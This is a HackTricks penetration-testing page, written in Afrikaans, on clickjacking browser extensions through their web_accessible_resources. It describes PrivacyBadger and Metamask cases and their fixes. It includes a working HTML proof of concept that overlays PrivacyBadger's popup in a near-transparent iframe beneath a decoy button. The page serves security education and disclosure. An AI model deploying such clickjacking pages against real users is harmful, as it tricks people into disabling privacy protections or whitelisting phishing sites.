hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

7.4 KiB

BrowExt - ClickJacking

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

Basiese Inligting

Hierdie bladsy gaan 'n ClickJacking kwesbaarheid in 'n Bladsy uitbreiding misbruik.
As jy nie weet wat ClickJacking is nie, kyk:

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

Uitbreidings bevat die lêer manifest.json en daardie JSON-lêer het 'n veld web_accessible_resources. Hier is wat die Chrome dokumentasie daaroor sê:

Hierdie hulpbronne sal dan beskikbaar wees in 'n webblad via die URL chrome-extension://[PACKAGE ID]/[PATH], wat gegenereer kan word met die extension.getURL method. Toegelate hulpbronne word bedien met toepaslike CORS koptekste, so hulle is beskikbaar via meganismes soos XHR.1

Die web_accessible_resources in 'n blaaiers uitbreiding is nie net via die web toeganklik nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken hulle het die vermoë om:

  • Die uitbreiding se toestand te verander
  • Bykomende hulpbronne te laai
  • Met die blaaiers tot 'n sekere mate te kommunikeer

Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne web_accessible_resources enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne.

PrivacyBadger Voorbeeld

In die uitbreiding PrivacyBadger, is 'n kwesbaarheid geïdentifiseer wat verband hou met die skin/ gids wat verklaar is as web_accessible_resources op die volgende manier (Kyk na die oorspronklike blogpos):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die skin/popup.html lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kon binne 'n iframe ingebed word. Hierdie inbedding kon uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat verskaf word by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van /skin/* uit die lys van web_accessible_resources. Hierdie verandering het effektief die risiko verminder deur te verseker dat die inhoud van die skin/ gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie.

Die regstelling was maklik: verwyder /skin/* uit die web_accessible_resources.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Voorbeeld

'n blogpos oor 'n ClickJacking in metamask kan hier gevind word. In hierdie geval het Metamask die kwesbaarheid reggestel deur te verifieer dat die protokol wat gebruik is om toegang te verkry https: of http: was (nie chrome: byvoorbeeld):

Nog 'n ClickJacking wat reggestel is in die Metamask-uitbreiding was dat gebruikers in staat was om Klik om op die witlys te plaas wanneer 'n bladsy verdag was om phishing te wees as gevolg van “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit op die witlys te plaas sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat op die witlys geplaas sal word.

Steam Inventory Helper Voorbeeld

Kyk na die volgende bladsy om te kyk hoe 'n XSS in 'n blaaiers-uitbreiding geketting is met 'n ClickJacking kwesbaarheid:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

Verwysings

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}